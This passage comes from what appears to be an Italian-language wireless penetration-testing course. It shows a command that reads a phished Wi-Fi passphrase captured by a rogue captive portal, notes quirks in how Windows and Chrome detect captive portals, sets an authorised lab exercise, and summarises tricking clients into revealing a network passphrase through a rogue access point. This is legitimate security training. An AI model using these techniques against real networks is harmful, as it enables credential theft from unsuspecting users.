kali@kali:~$ sudo cat /tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt
NanotechIsTheFuture

Listato 25 - Ricerca e visualizzazione della passphrase

1 (Jouni Malinen and contributors, 2019), https://w1.fi/hostapd/ ↩︎

10.3. Additional Behaviors Surrounding Captive Portals

Sebbene i recenti sistemi operativi rilevino i captive portal, la funzione può talvolta essere disabilitata nelle impostazioni. Quando vengono avviati manualmente, i browser dovrebbero rilevare e reindirizzare al captive portal, ma anche questa funzione può essere disabilitata. Tutto ciò vale anche per gli smartphone.

Ci sono alcuni comportamenti insoliti di cui essere consapevoli.

Ad esempio, Windows non mostrerà il captive portal dopo essersi connesso automaticamente alla rete. In questa situazione l'utente deve manualmente tornare alla finestra di dialogo dell'elenco reti, selezionare la nostra rete e cliccare Connect affinché funzioni.

Inoltre, Chrome non verifica automaticamente i captive portal all'avvio. Li rileva solo quando si digita manualmente un URL o si effettua una ricerca.

Esercizio

Configura un captive portal per prendere di mira la tua rete di casa o ufficio (con l'approvazione del tuo supervisore e del reparto IT). Prova con una rete aperta e OWE e, se disponi di una scheda wireless separata, esegui una cattura pacchetti ed esamina la differenza tra open e OWE.

Se nessun client si connette, usa uno dei tuoi dispositivi per connetterti.

10.4. Conclusione

In questo modulo, abbiamo raccolto un handshake WPS-PSK, creato un captive portal convincente basato sul sito web aziendale e usato un access point rogue per indurre i client a connettersi a noi e rivelare la passphrase della rete.